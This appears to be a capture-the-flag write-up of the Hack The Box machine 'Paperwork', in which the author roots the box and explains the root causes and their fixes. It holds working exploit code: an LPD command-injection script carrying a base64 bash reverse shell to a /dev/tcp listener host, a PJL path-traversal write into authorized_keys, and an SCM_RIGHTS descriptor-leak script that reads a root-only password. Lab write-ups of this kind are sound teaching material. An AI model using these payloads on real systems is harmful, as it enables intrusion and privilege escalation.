Back to blog
← Back to posts

HTB: Paperwork


Paperwork dresses a chain of small, self-contained Python services up as a corporate "document archiving" pipeline. The foothold is an OS command injection in a hand-rolled LPD (RFC 1179) intake service that helpfully ships its own source. That lands as lp, which can reach a second service — a JetDirect / PJL printer emulator whose path sanitiser is decorative, giving an arbitrary file write into archivist's home and SSH access. Root is the interesting part: a root-owned daemon passes the client an open file descriptor to a root-only credential file over a UNIX socket via SCM_RIGHTS, so archivist reads a password it was never permitted to open.
Hack The Box — Congratulations SP1R4! You are player #6057 to have solved Paperwork.
LPD intake :1515 shell=True job name lp PJL :9100 path traversal authorized_keys write archivist (SSH) SCM_RIGHTS fd leak root
Paperwork attack chain: nmap to lp via LPD command injection, lp to archivist via PJL path traversal, archivist to root via SCM_RIGHTS file-descriptor leak

Reconnaissance

Nmap

Three ports, and the third one is the whole box:

nmap
SP1R4@kali)-[~] └$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA paperwork PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Ubuntu 5ubuntu5.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.28.0 (Ubuntu) |_http-title: Did not follow redirect to http://paperwork.htb/ 1515/tcp open ifor-protocol? | fingerprint-strings: | TerminalServerCookie: |_ Archive_Printer is ready and printing.

The 63 TTL on ping already said Linux. OpenSSH 10 is brand new — no free foothold there, so it's the exit, not the entry. Port 80 answers the bare IP with a redirect to paperwork.htb, which means nginx is routing by Host: header — add the vhost and we get a real page:

/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> paperwork.htb" | sudo tee -a /etc/hosts

The intake portal

paperwork.htb intake portal — a corporate document archiving page listing RFC 1179 compliance, an archive_intake queue, and a paperwork-archive-v1.02 processor

Every line on this page is a hint:

/download/archive
SP1R4@kali)-[~] └$ curl -s http://paperwork.htb/download/archive -o archive.zip && unzip -o archive.zip Archive: archive.zip inflating: server.py

Not a compiled "processor" — the service's own source. That turns exploitation into a reading exercise.

Foothold — Command Injection in the LPD Intake Service

server.py is a minimal, non-standard LPD listener on port 1515. The relevant path is the "receive print job" handler:

server.py — handle_print_job()
def handle_print_job(self, data): queue = data[1:].decode().strip() if queue not in VALID_QUEUE: # substring check vs $LPD_QUEUE self.sock.send(b'\x01'); return self.sock.send(b'\x00') while True: chunk = self.sock.recv(1024) subcommand = chunk[0] self.sock.send(b'\x00') if subcommand == 2: # control file size = int(chunk[1:].decode().split()[0]) content = b"" while len(content) < size: content += self.sock.recv(size - len(content) + 1) job_name = "Unknown" for line in content.decode(errors='ignore').split('\n'): if line.strip().startswith('J'): job_name = line.strip()[1:]; break subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

job_name comes straight off the wire — it's the J line of the job's control file — and it is interpolated into a shell string with shell=True. Set the job name to ';id;' and the shell runs:

the resulting command line
echo 'Archive: '; id ; '' >> /tmp/archive.log

The protocol around it is trimmed down from real RFC 1179: send byte 0x02 + the queue name (the page tells us it's archive_intake, and the check is a lenient substring test), read the 0x00 ack, then send a chunk of 0x02 + "<size> <name>", then exactly <size> bytes of control-file text containing one J<payload> line. A short client does it:

exploit.py
import socket, time, base64 TARGET = ("<TARGET_IP>", 1515) rev = "bash -i >& /dev/tcp/<LHOST>/4444 0>&1" b64 = base64.b64encode(rev.encode()).decode() payload = f"';echo {b64}|base64 -d|bash;'" # break out of the quoted echo ctrl = f"J{payload}\n".encode() s = socket.create_connection(TARGET, timeout=10) s.sendall(b"\x02archive_intake\n"); time.sleep(.3) s.sendall(b"\x02" + f"{len(ctrl)} cfA001pw".encode() + b"\n"); time.sleep(.3) s.recv(16) s.sendall(ctrl) # J-line fires subprocess.Popen()
nc -lvnp 4444
SP1R4@kali)-[~] └$ python3 exploit.py && nc -lvnp 4444 connect to [<LHOST>] from <TARGET_IP> lp@paperwork:/opt/LPDServer$ id uid=7(lp) gid=7(lp) groups=7(lp)
Interpolating any network-controlled value into an f-string handed to subprocess with shell=True is the whole bug. Popen([...], shell=False) with an argument list — or just shlex.quote — kills it.

lp → archivist — Path Traversal in the JetDirect Emulator

lp is a service account with no sudo (the binary isn't even installed). Process and socket enumeration shows what else is local:

ps aux / ss -tlnp
lp@paperwork:/opt/LPDServer$ ps aux | grep -E 'python|printer' ; ss -tlnp root /usr/bin/python3 /root/staging/CorpoSite/app.py # the site, as root archiv+ /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ ... lp /usr/bin/python3 /opt/LPDServer/server.py root /usr/bin/python3 /usr/bin/paperwork-daemon LISTEN 127.0.0.1:1337 # Flask dev instance of the site (dead end) LISTEN 0.0.0.0:1515 # our LPD LISTEN 127.0.0.1:9100 # jetdirect.py, run by archivist

archivist runs a raw-print / PJL emulator on 9100, jailed to /home/archivist/printer/. PJL emulators implement FSUPLOAD (read) and FSDOWNLOAD (write). FSUPLOAD hands over the emulator's own source:

jetdirect.py — Filesystem._translate()
class Filesystem: def __init__(self, root_dir): self._root = os.path.abspath(root_dir) def _translate(self, path): clean = path.replace("0:", "").replace("\\", "/").lstrip("/") return os.path.normpath(os.path.join(self._root, clean)) def read(self, path): target = self._translate(path) if os.path.isfile(target): with open(target, "rb") as f: return f.read() def write(self, path, data): target = self._translate(path) os.makedirs(os.path.dirname(target), exist_ok=True) # will create ~/.ssh for us with open(target, "wb") as f: f.write(data)

The "sanitiser" removes the 0: volume prefix and strips leading slashes — and does nothing about ../. normpath(join("/home/archivist/printer", "../.ssh/authorized_keys")) collapses to /home/archivist/.ssh/authorized_keys. (An earlier FSQUERY of /etc/passwd returned FILEERROR=1 — not a block, just os.listdir() throwing on a non-directory. Read and write have no such guard.) So we drop an SSH key:

FSDOWNLOAD → authorized_keys
lp@paperwork:/opt/LPDServer$ python3 - <<'EOF' import socket KEY = b"ssh-ed25519 AAAA...snip... kali\n" p = '0:/../.ssh/authorized_keys' h = ('@PJL FSDOWNLOAD NAME="%s" SIZE=%d\r\n' % (p, len(KEY))).encode() s = socket.create_connection(("127.0.0.1", 9100)); s.sendall(h + KEY) print(s.recv(64)) EOF b'OK\r\n'
ssh archivist@paperwork
SP1R4@kali)-[~] └$ ssh -i pw_key archivist@<TARGET_IP> archivist@paperwork:~$ id && cat user.txt uid=1000(archivist) gid=1000(archivist) groups=1000(archivist) [redacted — user flag]
os.path.normpath is string canonicalisation, not a sandbox. Confining a path means resolving it (realpath) and verifying the result is still under the intended root — os.path.commonpath([root, resolved]) == root — before you touch the filesystem.

archivist → root — Leaked File Descriptor over SCM_RIGHTS

/usr/bin/paperwork-daemon runs as root and listens on a UNIX socket. Two details matter:

paperwork-daemon — the relevant bits
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY) # opened once, as root LOG_PATH = "/home/archivist/printer/logs/commands.log" def scan_for_malice(): content = open(LOG_PATH).read().upper() return any(t in content for t in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]) def trigger_lockdown(conn): log_fd = os.open(LOG_PATH, os.O_RDONLY) evidence_bundle = array.array("i", [log_fd, admin_fd]) conn.sendmsg([b"ALERT: SECURITY_VIOLATION..."], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)]) def main(): s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.bind("/run/paperwork/mgmt.sock") os.chmod(socket_path, 0o660); os.chown(socket_path, 0, 1000) # root:archivist while True: conn, _ = s.accept() if scan_for_malice(): trigger_lockdown(conn) else: conn.sendall(b"STATUS: SYSTEM_CLEAN\n...")

The socket is mode 0660, group archivist — so we can connect. And when the daemon decides the box has been "tampered with", it doesn't just report it — it attaches admin_fd to the reply as ancillary data. SCM_RIGHTS is the kernel mechanism for sending an open file descriptor across a UNIX socket: the receiver gets a brand-new fd in its own table that refers to the same open file description the sender already had. The permission check happened when root called open(); the fd carries that decision. Whoever receives it can read the file, permission bits be damned.

We control the trigger — scan_for_malice() greps a log file that archivist owns:

Step-by-step of the SCM_RIGHTS privilege escalation: archivist poisons the log, connects to the root daemon's UNIX socket, the daemon sendmsg()s its open descriptor for admin_pins.conf, archivist recvmsg()s the fd and preads the admin password, then su root
getfd.py (run as archivist)
import socket, os, array open("/home/archivist/printer/logs/commands.log", "a").write("FSDOWNLOAD\n") # trip the scan s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/run/paperwork/mgmt.sock") msg, anc, _, _ = s.recvmsg(4096, socket.CMSG_SPACE(64)) for level, ctype, cdata in anc: if (level, ctype) == (socket.SOL_SOCKET, socket.SCM_RIGHTS): a = array.array("i"); a.frombytes(cdata) for fd in a: print(fd, os.readlink(f"/proc/self/fd/{fd}")) print(os.pread(fd, 4096, 0))
archivist@paperwork
archivist@paperwork:~$ python3 getfd.py 4 /home/archivist/printer/logs/commands.log 5 /etc/paperwork/admin_pins.conf b'ADMIN_PASSWORD=[redacted]\n'

The pin file is root:root 0600archivist cannot open() it. It didn't have to: the daemon opened it and handed the descriptor over. That password is root's:

su -
archivist@paperwork:~$ su - Password: root@paperwork:~# id && cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) [redacted — root flag]
Passing a file descriptor is passing access, not a filename. A privileged process that sendmsg()s an fd to a lower-privileged peer has just delegated everything that fd can do. If a daemon must share evidence, it should copy the bytes it means to disclose — never the handle.

Why it worked

StageRoot cause
lpshell=True + f-string interpolation of a network-controlled job name (CWE-78)
archivistPath "sanitiser" that canonicalises but never confines; no realpath + prefix check (CWE-22)
rootPrivileged daemon sends an open fd to a root-only file to an unprivileged client via SCM_RIGHTS (CWE-732 / privilege delegation)

Key commands

quick reference
# Recon nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> curl -s http://paperwork.htb/download/archive -o archive.zip && unzip archive.zip # Foothold — LPD job-name command injection (port 1515) python3 exploit.py # 0x02 archive_intake → 0x02 "<size> cfA" → J';<cmd>;' # lp → archivist — PJL FSDOWNLOAD path traversal (port 9100) @PJL FSDOWNLOAD NAME="0:/../.ssh/authorized_keys" SIZE=<n>\r\n<pubkey> ssh -i pw_key archivist@<TARGET_IP> # archivist → root — SCM_RIGHTS fd leak echo FSDOWNLOAD >> ~/printer/logs/commands.log python3 getfd.py # connect mgmt.sock → recvmsg() → pread(admin_fd) su - # ADMIN_PASSWORD